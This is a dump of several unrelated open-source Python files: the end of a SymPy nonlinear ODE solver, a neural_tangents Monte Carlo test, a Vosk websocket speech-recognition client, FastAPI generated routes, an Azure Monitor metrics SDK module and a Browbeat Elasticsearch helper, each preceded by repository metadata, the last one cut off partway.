first two equation of the system, one arrives at the first-order equation .. math:: \frac{dy}{dx} = \frac{a F_3 (x, y, z) - c F_1 (x, y, z)}{c F_2 (x, y, z) - b F_3 (x, y, z)} where `z = \frac{1}{c} (C_1 - a x - b y)` References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode0404.pdf """ C1 = get_numbered_constants(eq, num=1) u, v, w = symbols('u, v, w') fu, fv, fw = symbols('u, v, w', cls=Function) p = Wild('p', exclude=[x(t), y(t), z(t), t]) q = Wild('q', exclude=[x(t), y(t), z(t), t]) s = Wild('s', exclude=[x(t), y(t), z(t), t]) F1, F2, F3 = symbols('F1, F2, F3', cls=Wild) r1 = (diff(x(t), t) - eq[0]).match(F2-F3) r = collect_const(r1[F2]).match(s*F2) r.update(collect_const(r1[F3]).match(q*F3)) if eq[1].has(r[F2]) and not eq[1].has(r[F3]): r[F2], r[F3] = r[F3], r[F2] r[s], r[q] = -r[q], -r[s] r.update((diff(y(t), t) - eq[1]).match(p*r[F3] - r[s]*F1)) a = r[p]; b = r[q]; c = r[s] F1 = r[F1].subs(x(t), u).subs(y(t),v).subs(z(t), w) F2 = r[F2].subs(x(t), u).subs(y(t),v).subs(z(t), w) F3 = r[F3].subs(x(t), u).subs(y(t),v).subs(z(t), w) z_xy = (C1-a*u-b*v)/c y_zx = (C1-a*u-c*w)/b x_yz = (C1-b*v-c*w)/a y_x = dsolve(diff(fv(u),u) - ((a*F3-c*F1)/(c*F2-b*F3)).subs(w,z_xy).subs(v,fv(u))).rhs z_x = dsolve(diff(fw(u),u) - ((b*F1-a*F2)/(c*F2-b*F3)).subs(v,y_zx).subs(w,fw(u))).rhs z_y = dsolve(diff(fw(v),v) - ((b*F1-a*F2)/(a*F3-c*F1)).subs(u,x_yz).subs(w,fw(v))).rhs x_y = dsolve(diff(fu(v),v) - ((c*F2-b*F3)/(a*F3-c*F1)).subs(w,z_xy).subs(u,fu(v))).rhs y_z = dsolve(diff(fv(w),w) - ((a*F3-c*F1)/(b*F1-a*F2)).subs(u,x_yz).subs(v,fv(w))).rhs x_z = dsolve(diff(fu(w),w) - ((c*F2-b*F3)/(b*F1-a*F2)).subs(v,y_zx).subs(u,fu(w))).rhs sol1 = dsolve(diff(fu(t),t) - (c*F2 - b*F3).subs(v,y_x).subs(w,z_x).subs(u,fu(t))).rhs sol2 = dsolve(diff(fv(t),t) - (a*F3 - c*F1).subs(u,x_y).subs(w,z_y).subs(v,fv(t))).rhs sol3 = dsolve(diff(fw(t),t) - (b*F1 - a*F2).subs(u,x_z).subs(v,y_z).subs(w,fw(t))).rhs return [sol1, sol2, sol3] def _nonlinear_3eq_order1_type4(x, y, z, t, eq): r""" Equations: .. math:: x' = c z F_2 - b y F_3, \enspace y' = a x F_3 - c z F_1, \enspace z' = b y F_1 - a x F_2 where `F_n = F_n (x, y, z, t)` 1. First integral: .. math:: a x^{2} + b y^{2} + c z^{2} = C_1 where `C` is an arbitrary constant. 2. Assuming the function `F_n` is independent of `t`: `F_n = F_n (x, y, z)`. Then on eliminating `t` and `z` from the first two equations of the system, one arrives at the first-order equation .. math:: \frac{dy}{dx} = \frac{a x F_3 (x, y, z) - c z F_1 (x, y, z)} {c z F_2 (x, y, z) - b y F_3 (x, y, z)} where `z = \pm \sqrt{\frac{1}{c} (C_1 - a x^{2} - b y^{2})}` References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode0405.pdf """ C1 = get_numbered_constants(eq, num=1) u, v, w = symbols('u, v, w') p = Wild('p', exclude=[x(t), y(t), z(t), t]) q = Wild('q', exclude=[x(t), y(t), z(t), t]) s = Wild('s', exclude=[x(t), y(t), z(t), t]) F1, F2, F3 = symbols('F1, F2, F3', cls=Wild) r1 = eq[0].match(diff(x(t),t) - z(t)*F2 + y(t)*F3) r = collect_const(r1[F2]).match(s*F2) r.update(collect_const(r1[F3]).match(q*F3)) if eq[1].has(r[F2]) and not eq[1].has(r[F3]): r[F2], r[F3] = r[F3], r[F2] r[s], r[q] = -r[q], -r[s] r.update((diff(y(t),t) - eq[1]).match(p*x(t)*r[F3] - r[s]*z(t)*F1)) a = r[p]; b = r[q]; c = r[s] F1 = r[F1].subs(x(t),u).subs(y(t),v).subs(z(t),w) F2 = r[F2].subs(x(t),u).subs(y(t),v).subs(z(t),w) F3 = r[F3].subs(x(t),u).subs(y(t),v).subs(z(t),w) x_yz = sqrt((C1 - b*v**2 - c*w**2)/a) y_zx = sqrt((C1 - c*w**2 - a*u**2)/b) z_xy = sqrt((C1 - a*u**2 - b*v**2)/c) y_x = dsolve(diff(v(u),u) - ((a*u*F3-c*w*F1)/(c*w*F2-b*v*F3)).subs(w,z_xy).subs(v,v(u))).rhs z_x = dsolve(diff(w(u),u) - ((b*v*F1-a*u*F2)/(c*w*F2-b*v*F3)).subs(v,y_zx).subs(w,w(u))).rhs z_y = dsolve(diff(w(v),v) - ((b*v*F1-a*u*F2)/(a*u*F3-c*w*F1)).subs(u,x_yz).subs(w,w(v))).rhs x_y = dsolve(diff(u(v),v) - ((c*w*F2-b*v*F3)/(a*u*F3-c*w*F1)).subs(w,z_xy).subs(u,u(v))).rhs y_z = dsolve(diff(v(w),w) - ((a*u*F3-c*w*F1)/(b*v*F1-a*u*F2)).subs(u,x_yz).subs(v,v(w))).rhs x_z = dsolve(diff(u(w),w) - ((c*w*F2-b*v*F3)/(b*v*F1-a*u*F2)).subs(v,y_zx).subs(u,u(w))).rhs sol1 = dsolve(diff(u(t),t) - (c*w*F2 - b*v*F3).subs(v,y_x).subs(w,z_x).subs(u,u(t))).rhs sol2 = dsolve(diff(v(t),t) - (a*u*F3 - c*w*F1).subs(u,x_y).subs(w,z_y).subs(v,v(t))).rhs sol3 = dsolve(diff(w(t),t) - (b*v*F1 - a*u*F2).subs(u,x_z).subs(v,y_z).subs(w,w(t))).rhs return [sol1, sol2, sol3] def _nonlinear_3eq_order1_type5(x, y, z, t, eq): r""" .. math:: x' = x (c F_2 - b F_3), \enspace y' = y (a F_3 - c F_1), \enspace z' = z (b F_1 - a F_2) where `F_n = F_n (x, y, z, t)` and are arbitrary functions. First Integral: .. math:: \left|x\right|^{a} \left|y\right|^{b} \left|z\right|^{c} = C_1 where `C` is an arbitrary constant. If the function `F_n` is independent of `t`, then, by eliminating `t` and `z` from the first two equations of the system, one arrives at a first-order equation. References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode0406.pdf """ C1 = get_numbered_constants(eq, num=1) u, v, w = symbols('u, v, w') fu, fv, fw = symbols('u, v, w', cls=Function) p = Wild('p', exclude=[x(t), y(t), z(t), t]) q = Wild('q', exclude=[x(t), y(t), z(t), t]) s = Wild('s', exclude=[x(t), y(t), z(t), t]) F1, F2, F3 = symbols('F1, F2, F3', cls=Wild) r1 = eq[0].match(diff(x(t), t) - x(t)*F2 + x(t)*F3) r = collect_const(r1[F2]).match(s*F2) r.update(collect_const(r1[F3]).match(q*F3)) if eq[1].has(r[F2]) and not eq[1].has(r[F3]): r[F2], r[F3] = r[F3], r[F2] r[s], r[q] = -r[q], -r[s] r.update((diff(y(t), t) - eq[1]).match(y(t)*(p*r[F3] - r[s]*F1))) a = r[p]; b = r[q]; c = r[s] F1 = r[F1].subs(x(t), u).subs(y(t), v).subs(z(t), w) F2 = r[F2].subs(x(t), u).subs(y(t), v).subs(z(t), w) F3 = r[F3].subs(x(t), u).subs(y(t), v).subs(z(t), w) x_yz = (C1*v**-b*w**-c)**-a y_zx = (C1*w**-c*u**-a)**-b z_xy = (C1*u**-a*v**-b)**-c y_x = dsolve(diff(fv(u), u) - ((v*(a*F3 - c*F1))/(u*(c*F2 - b*F3))).subs(w, z_xy).subs(v, fv(u))).rhs z_x = dsolve(diff(fw(u), u) - ((w*(b*F1 - a*F2))/(u*(c*F2 - b*F3))).subs(v, y_zx).subs(w, fw(u))).rhs z_y = dsolve(diff(fw(v), v) - ((w*(b*F1 - a*F2))/(v*(a*F3 - c*F1))).subs(u, x_yz).subs(w, fw(v))).rhs x_y = dsolve(diff(fu(v), v) - ((u*(c*F2 - b*F3))/(v*(a*F3 - c*F1))).subs(w, z_xy).subs(u, fu(v))).rhs y_z = dsolve(diff(fv(w), w) - ((v*(a*F3 - c*F1))/(w*(b*F1 - a*F2))).subs(u, x_yz).subs(v, fv(w))).rhs x_z = dsolve(diff(fu(w), w) - ((u*(c*F2 - b*F3))/(w*(b*F1 - a*F2))).subs(v, y_zx).subs(u, fu(w))).rhs sol1 = dsolve(diff(fu(t), t) - (u*(c*F2 - b*F3)).subs(v, y_x).subs(w, z_x).subs(u, fu(t))).rhs sol2 = dsolve(diff(fv(t), t) - (v*(a*F3 - c*F1)).subs(u, x_y).subs(w, z_y).subs(v, fv(t))).rhs sol3 = dsolve(diff(fw(t), t) - (w*(b*F1 - a*F2)).subs(u, x_z).subs(v, y_z).subs(w, fw(t))).rhs return [sol1, sol2, sol3] #This import is written at the bottom to avoid circular imports. from .single import (NthAlgebraic, Factorable, FirstLinear, AlmostLinear, Bernoulli, SingleODEProblem, SingleODESolver, RiccatiSpecial)

39.039166

256

0.560834

7a5115d8cc0dc7569d64dd2bc9cef714afccc648

10,560

py

Python

tests/monte_carlo_test.py

DarrenZhang01/Neural_Tangents_TensorFlow

2fd360c8b1b8c9106044034f6a8b5c2734db9c3d

[ "Apache-2.0" ]

4

2020-12-25T17:37:13.000Z

2022-01-03T17:00:23.000Z

tests/monte_carlo_test.py

DarrenZhang01/TensorFlow_GSoC

2fd360c8b1b8c9106044034f6a8b5c2734db9c3d

[ "Apache-2.0" ]

33

2020-07-18T18:57:54.000Z

2020-08-17T13:58:46.000Z

tests/monte_carlo_test.py

DarrenZhang01/Neural_Tangents_TensorFlow

2fd360c8b1b8c9106044034f6a8b5c2734db9c3d

[ "Apache-2.0" ]

1

2021-08-16T19:00:06.000Z

# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for `utils/monte_carlo.py`.""" from absl.testing import absltest from jax import test_util as jtu from jax.config import config as jax_config from jax.lib import xla_bridge import tensorflow as tf from tensorflow.python.ops import numpy_ops as np from stateless_random_ops import split as tf_random_split from stateless_random_ops import stateless_random_normal as normal from tensorflow.random import stateless_uniform from neural_tangents import stax from neural_tangents.utils import batch from neural_tangents.utils import empirical from neural_tangents.utils import monte_carlo from neural_tangents.utils import test_utils jax_config.parse_flags_with_absl() BATCH_SIZES = [ 1, 2, 4, ] DEVICE_COUNTS = [0, 1, 2] STORE_ON_DEVICE = [True, False] N_SAMPLES = 4 ALL_GET = ('nngp', 'ntk', ('nngp', 'ntk'), None) test_utils.update_test_tolerance() def _get_inputs_and_model(width=1, n_classes=2, use_conv=True): key = stateless_uniform(shape=[2], seed=[1, 1], minval=None, maxval=None, dtype=tf.int32) keys = tf_random_split(key) key = keys[0] split = keys[1] x1 = np.asarray(normal((8, 4, 3, 2), seed=key)) x2 = np.asarray(normal((4, 4, 3, 2), seed=split)) if not use_conv: x1 = np.reshape(x1, (x1.shape[0], -1)) x2 = np.reshape(x2, (x2.shape[0], -1)) init_fn, apply_fn, kernel_fn = stax.serial( stax.Conv(width, (3, 3)) if use_conv else stax.Dense(width), stax.Relu(), stax.Flatten(), stax.Dense(n_classes, 2., 0.5)) return x1, x2, init_fn, apply_fn, kernel_fn, key class MonteCarloTest(jtu.JaxTestCase): @jtu.parameterized.named_parameters( jtu.cases_from_list({ 'testcase_name': '[batch_size={}, ' 'device_count={} ' 'store_on_device={} ' 'get={} ' ']'.format(batch_size, device_count, store_on_device, get), 'batch_size': batch_size, 'device_count': device_count, 'store_on_device': store_on_device, 'get': get, } for batch_size in BATCH_SIZES for device_count in DEVICE_COUNTS for store_on_device in STORE_ON_DEVICE for get in ALL_GET)) def test_sample_once_batch(self, batch_size, device_count, store_on_device, get): test_utils.stub_out_pmap(batch, device_count) x1, x2, init_fn, apply_fn, _, key = _get_inputs_and_model() kernel_fn = empirical.empirical_kernel_fn(apply_fn) sample_once_fn = monte_carlo._sample_once_kernel_fn(kernel_fn, init_fn) sample_once_batch_fn = monte_carlo._sample_once_kernel_fn( kernel_fn, init_fn, batch_size, device_count, store_on_device) one_sample = sample_once_fn(x1, x2, key, get) one_sample_batch = sample_once_batch_fn(x1, x2, key, get) self.assertAllClose(one_sample, one_sample_batch) @jtu.parameterized.named_parameters( jtu.cases_from_list({ 'testcase_name': '[batch_size={}, ' 'device_count={} ' 'store_on_device={} ' 'get={} ' ']'.format(batch_size, device_count, store_on_device, get), 'batch_size': batch_size, 'device_count': device_count, 'store_on_device': store_on_device, 'get': get, } for batch_size in BATCH_SIZES for device_count in DEVICE_COUNTS for store_on_device in STORE_ON_DEVICE for get in ALL_GET)) def test_batch_sample_once(self, batch_size, device_count, store_on_device, get): test_utils.stub_out_pmap(batch, device_count) x1, x2, init_fn, apply_fn, _, key = _get_inputs_and_model() kernel_fn = empirical.empirical_kernel_fn(apply_fn) sample_once_fn = monte_carlo._sample_once_kernel_fn( kernel_fn, init_fn, device_count=0) batch_sample_once_fn = batch.batch(sample_once_fn, batch_size, device_count, store_on_device) one_sample = sample_once_fn(x1, x2, key, get) one_batch_sample = batch_sample_once_fn(x1, x2, key, get) self.assertAllClose(one_sample, one_batch_sample) @jtu.parameterized.named_parameters( jtu.cases_from_list({ 'testcase_name': '[batch_size={}, ' 'device_count={} ' 'store_on_device={} ' ']'.format(batch_size, device_count, store_on_device ), 'batch_size': batch_size, 'device_count': device_count, 'store_on_device': store_on_device, } for batch_size in BATCH_SIZES for device_count in DEVICE_COUNTS for store_on_device in STORE_ON_DEVICE)) def test_sample_vs_analytic_nngp(self, batch_size, device_count, store_on_device): test_utils.stub_out_pmap(batch, device_count) x1, x2, init_fn, apply_fn, stax_kernel_fn, key = _get_inputs_and_model( 1024, 256, xla_bridge.get_backend().platform == 'tpu') sample = monte_carlo.monte_carlo_kernel_fn(init_fn, apply_fn, key, 200, batch_size, device_count, store_on_device) ker_empirical = sample(x1, x2, 'nngp') ker_analytic = stax_kernel_fn(x1, x2, 'nngp') test_utils.assert_close_matrices(self, ker_analytic, ker_empirical, 2e-2) @jtu.parameterized.named_parameters( jtu.cases_from_list({ 'testcase_name': '[batch_size={}, ' 'device_count={} ' 'store_on_device={} ' ']'.format(batch_size, device_count, store_on_device ), 'batch_size': batch_size, 'device_count': device_count, 'store_on_device': store_on_device, } for batch_size in BATCH_SIZES for device_count in DEVICE_COUNTS for store_on_device in STORE_ON_DEVICE)) def test_monte_carlo_vs_analytic_ntk(self, batch_size, device_count, store_on_device): test_utils.stub_out_pmap(batch, device_count) x1, x2, init_fn, apply_fn, stax_kernel_fn, key = _get_inputs_and_model( 256, 2, xla_bridge.get_backend().platform == 'tpu') sample = monte_carlo.monte_carlo_kernel_fn(init_fn, apply_fn, key, 100, batch_size, device_count, store_on_device) ker_empirical = sample(x1, x2, 'ntk') ker_analytic = stax_kernel_fn(x1, x2, 'ntk') test_utils.assert_close_matrices(self, ker_analytic, ker_empirical, 2e-2) @jtu.parameterized.named_parameters( jtu.cases_from_list({ 'testcase_name': '[batch_size={}, ' 'device_count={} ' 'store_on_device={} ' 'get={}' ']'.format(batch_size, device_count, store_on_device, get), 'batch_size': batch_size, 'device_count': device_count, 'store_on_device': store_on_device, 'get': get } for batch_size in BATCH_SIZES for device_count in DEVICE_COUNTS for store_on_device in STORE_ON_DEVICE for get in ALL_GET)) def test_monte_carlo_generator(self, batch_size, device_count, store_on_device, get): test_utils.stub_out_pmap(batch, device_count) x1, x2, init_fn, apply_fn, stax_kernel_fn, key = _get_inputs_and_model(8, 1) x3, x4, _, _, _, _ = _get_inputs_and_model(8, 1) log_n_max = 4 n_samples = [2**k for k in range(log_n_max)] sample_generator = monte_carlo.monte_carlo_kernel_fn( init_fn, apply_fn, key, n_samples, batch_size, device_count, store_on_device) if get is None: samples_12 = sample_generator(x1, x2) samples_34 = sample_generator(x3, x4) count = 0 for n, s_12, s_34 in zip(n_samples, samples_12, samples_34): sample_fn = monte_carlo.monte_carlo_kernel_fn(init_fn, apply_fn, key, n, batch_size, device_count, store_on_device) sample_12 = sample_fn(x1, x2) sample_34 = sample_fn(x3, x4) self.assertAllClose(s_12, sample_12) self.assertAllClose(s_12, s_34) self.assertAllClose(s_12, sample_34) count += 1 self.assertEqual(log_n_max, count) ker_analytic_12 = stax_kernel_fn(x1, x2, ('nngp', 'ntk')) ker_analytic_34 = stax_kernel_fn(x3, x4, ('nngp', 'ntk')) else: samples_12 = sample_generator(x1, x2, get) samples_34 = sample_generator(x3, x4, get) count = 0 for n, s_12, s_34 in zip(n_samples, samples_12, samples_34): sample_fn = monte_carlo.monte_carlo_kernel_fn( init_fn, apply_fn, key, n, batch_size, device_count, store_on_device) sample_12 = sample_fn(x1, x2, get) sample_34 = sample_fn(x3, x4, get) self.assertAllClose(s_12, sample_12) self.assertAllClose(s_12, s_34) self.assertAllClose(s_12, sample_34) count += 1 self.assertEqual(log_n_max, count) ker_analytic_12 = stax_kernel_fn(x1, x2, get) ker_analytic_34 = stax_kernel_fn(x3, x4, get) self.assertAllClose(ker_analytic_12, s_12, atol=2., rtol=2.) self.assertAllClose(ker_analytic_12, ker_analytic_34) if __name__ == '__main__': absltest.main()

39.550562

91

0.61108

8a70aa657e21622afe49b2fe1e53c11166610e76

2,443

py

Python

test/asr-test.py

format37/vosk-api-gpu

05e5130b6deea320fe2967937de5006a7298f024

[ "Apache-2.0" ]

null

test/asr-test.py

format37/vosk-api-gpu

05e5130b6deea320fe2967937de5006a7298f024

[ "Apache-2.0" ]

null

test/asr-test.py

format37/vosk-api-gpu

05e5130b6deea320fe2967937de5006a7298f024

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # https://raw.githubusercontent.com/alphacep/vosk-server/master/client-samples/python/asr-test.py import asyncio import websockets import sys import os import datetime import pickle import json if len(sys.argv) != 4: print('Wrong parameters count. Please pass:') print('1. Count of files to test') print('2. path to files') print('3. server address') exit() time_start = datetime.datetime.now() files_data = {} async def hello(uri): async with websockets.connect(uri) as websocket: def get_files(path): for root, dirs, files in os.walk(path): files.sort() return files counter = 0 with open('transcribation.txt', 'w') as textfile: for file in get_files(sys.argv[2]): #phrases = transcribe_vosk(sys.argv[1]+'/'+file, model) counter += 1 if counter > int(sys.argv[1]): break print(' = = [',counter,'] = =',file) wf = open(sys.argv[2]+file, "rb") file_data = [] textfile.write('=== '+str(file)+'\n') while True: data = wf.read(8000) if len(data) == 0: break await websocket.send(data) accept = json.loads(await websocket.recv()) #file_data.append(accept) if len(accept)>1 and accept['text'] != '': file_data.append(accept['text']) textfile.write(str(accept['text'])+'\n') else: [[key, value]] = accept.items() if key == 'text' and len(value): file_data.append(value) textfile.write(str(value)+'\n') #print (await websocket.recv()) files_data[file] = file_data await websocket.send('{"eof" : 1}') print (await websocket.recv()) asyncio.get_event_loop().run_until_complete( hello('ws://'+sys.argv[3]+':2700')) time_end = datetime.datetime.now() print('spent', (time_end - time_start).seconds, 'seconds') pickle.dump(files_data, file=open('files_data.pickle', 'wb')) print('job complete!')

30.5375

97

0.496521

a634cfd7782fae44d40c51c590c50cf7b60b9819

1,498

py

Python

tests/data/expected/openapi/remote_ref/body_and_parameters/main.py

sondrelg/fastapi-code-generator

6080b31b18bcf34708b821f9de709af77c05592b

[ "MIT" ]

null

tests/data/expected/openapi/remote_ref/body_and_parameters/main.py

sondrelg/fastapi-code-generator

6080b31b18bcf34708b821f9de709af77c05592b

[ "MIT" ]

null

tests/data/expected/openapi/remote_ref/body_and_parameters/main.py

sondrelg/fastapi-code-generator

6080b31b18bcf34708b821f9de709af77c05592b

[ "MIT" ]

null

# generated by fastapi-codegen: # filename: body_and_parameters.yaml # timestamp: 2020-06-19T00:00:00+00:00 from __future__ import annotations from typing import List, Optional from fastapi import FastAPI, Query from .models import Pet, PetForm app = FastAPI(version="1.0.0", title="Swagger Petstore", license="{'name': 'MIT'}",) @app.get('/foo', response_model=str) def get_foo(foo: Optional[str] = None) -> str: pass @app.post('/food', response_model=None) def post_food(body: str) -> None: """ Create a food """ pass @app.get('/food/{food_id}', response_model=List[int]) def show_food_by_id( food_id: str, message_texts: Optional[List[str]] = None ) -> List[int]: """ Info for a specific pet """ pass @app.get('/pets', response_model=List[Pet]) def list_pets( limit: Optional[int] = 0, home_address: Optional[str] = Query('Unknown', alias='HomeAddress'), kind: Optional[str] = 'dog', ) -> List[Pet]: """ List all pets """ pass @app.post('/pets', response_model=None) def post_pets(body: PetForm) -> None: """ Create a pet """ pass @app.get('/pets/{pet_id}', response_model=Pet) def show_pet_by_id(pet_id: str = Query(..., alias='petId')) -> Pet: """ Info for a specific pet """ pass @app.put('/pets/{pet_id}', response_model=None) def put_pets_pet_id( pet_id: str = Query(..., alias='petId'), body: PetForm = None ) -> None: """ update a pet """ pass

19.973333

84

0.626168

a16847bb3ecd913304f793ad4e7cac041465b05c

6,981

py

Python

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/operations/_metrics_operations.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

3

2020-06-23T02:25:27.000Z

2021-09-07T18:48:11.000Z

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/operations/_metrics_operations.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

510

2019-07-17T16:11:19.000Z

2021-08-02T08:38:32.000Z

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/operations/_metrics_operations.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

5

2019-09-04T12:51:37.000Z

2020-09-16T07:28:40.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core.exceptions import ARMErrorFormat from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class MetricsOperations: """MetricsOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~$(python-base-namespace).v2016_09_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def list( self, resource_uri: str, filter: Optional[str] = None, **kwargs ) -> AsyncIterable["_models.MetricCollection"]: """Lists the metric values for a resource. :param resource_uri: The identifier of the resource. :type resource_uri: str :param filter: Reduces the set of data collected.:code:`<br>`The filter is optional. If present it must contain a list of metric names to retrieve of the form: *(name.value eq 'metricName' [or name.value eq 'metricName' or ...])*. Optionally, the filter can contain conditions for the following attributes *aggregationType*\ , *startTime*\ , *endTime*\ , and *timeGrain* of the form *attributeName operator value*. Where operator is one of *ne*\ , *eq*\ , *gt*\ , *lt*.:code:`<br>`Several conditions can be combined with parentheses and logical operators, e.g: *and*\ , *or*.:code:`<br>`Some example filter expressions are::code:`<br>`- $filter=(name.value eq 'RunsSucceeded') and aggregationType eq 'Total' and startTime eq 2016-02-20 and endTime eq 2016-02-21 and timeGrain eq duration'PT1M',:code:`<br>`- $filter=(name.value eq 'RunsSucceeded') and (aggregationType eq 'Total' or aggregationType eq 'Average') and startTime eq 2016-02-20 and endTime eq 2016-02-21 and timeGrain eq duration'PT1H',:code:`<br>`- $filter=(name.value eq 'ActionsCompleted' or name.value eq 'RunsSucceeded') and (aggregationType eq 'Total' or aggregationType eq 'Average') and startTime eq 2016-02-20 and endTime eq 2016-02-21 and timeGrain eq duration'PT1M'.:code:`<br>`:code:`<br>`\ **NOTE**\ : When a metrics query comes in with multiple metrics, but with no aggregation types defined, the service will pick the Primary aggregation type of the first metrics to be used as the default aggregation type for all the metrics. :type filter: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either MetricCollection or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~$(python-base-namespace).v2016_09_01.models.MetricCollection] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.MetricCollection"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2016-09-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'resourceUri': self._serialize.url("resource_uri", resource_uri, 'str', skip_quote=True), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('MetricCollection', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize(_models.ErrorResponse, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list.metadata = {'url': '/{resourceUri}/providers/microsoft.insights/metrics'} # type: ignore

51.711111

133

0.655493

3021df6211382bc8814047a52bc9ca3af7e7ffd4

13,001

py

Python

browbeat/elastic.py

jsitnicki/browbeat

f5f9dcef2375a28fed8cc97f973eeecabd2114b7

[ "Apache-2.0" ]

null

browbeat/elastic.py

jsitnicki/browbeat

f5f9dcef2375a28fed8cc97f973eeecabd2114b7

[ "Apache-2.0" ]

null

browbeat/elastic.py

jsitnicki/browbeat

f5f9dcef2375a28fed8cc97f973eeecabd2114b7

[ "Apache-2.0" ]

1

2019-12-01T14:35:28.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from collections import deque import datetime import json import logging import os import re import sys import time import uuid import elasticsearch from elasticsearch import helpers browbeat_uuid = uuid.uuid4() class Elastic(object): def __init__(self, config, workload, tool="browbeat", cache_size=1000, max_cache_time=10): self.config = config self.cache = deque() self.max_cache_size = cache_size self.last_upload = datetime.datetime.utcnow() self.max_cache_age = datetime.timedelta(minutes=max_cache_time) self.logger = logging.getLogger('browbeat.elastic') self.es = elasticsearch.Elasticsearch([ {'host': self.config['elasticsearch']['host'], 'port': self.config['elasticsearch']['port']}], send_get_body_as='POST' ) self.workload = workload today = datetime.datetime.today() self.index = "{}-{}-{}".format(tool, workload, today.strftime('%Y.%m.%d')) def __del__(self): self.flush_cache() def load_json(self, result): json_data = None self.logger.info("Loading JSON") json_data = json.loads(result) return json_data def load_json_file(self, result): json_data = None self.logger.info("Loading JSON file : {}".format(result)) try: with open(result) as jdata: json_data = json.load(jdata) except (IOError, OSError): self.logger.error("Error loading JSON file : {}".format(result)) return False return json_data def combine_metadata(self, result): if (self.config['elasticsearch']['metadata_files'] is not None and len(self.config['elasticsearch']['metadata_files']) > 0): meta = self.config['elasticsearch']['metadata_files'] for _meta in meta: try: with open(_meta['file']) as jdata: result[_meta['name']] = json.load(jdata) except Exception: self.logger.error( "Error loading Metadata file : {}".format( _meta['file'])) self.logger.error( "Please make sure the metadata file exists and" " is valid JSON or run the playbook ansible/gather/site.yml" " before running the Browbeat test Suite") sys.exit(1) return result # Used to transform the cache dict into a elastic insertable iterable def cache_insertable_iterable(self): output = deque() for item in self.cache: es_item = {} es_item['_id'] = item['_id'] es_item['_source'] = item['result'] es_item['_type'] = item['_type'] es_item['_index'] = self.index output.append(es_item) return output def flush_cache(self): if len(self.cache) == 0: return True retry = 2 for i in range(retry): try: to_upload = helpers.parallel_bulk(self.es, self.cache_insertable_iterable()) counter = 0 num_items = len(self.cache) for item in to_upload: self.logger.debug("{} of {} Elastic objects uploaded".format(num_items, counter)) counter = counter + 1 output = "Pushed {} items to Elasticsearch to index {}".format(num_items, self.index) output += " and browbeat UUID {}".format(str(browbeat_uuid)) self.logger.info(output) self.cache = deque() self.last_upload = datetime.datetime.utcnow() return True except Exception as Err: self.logger.error( "Error pushing data to Elasticsearch, going to retry" " in 10 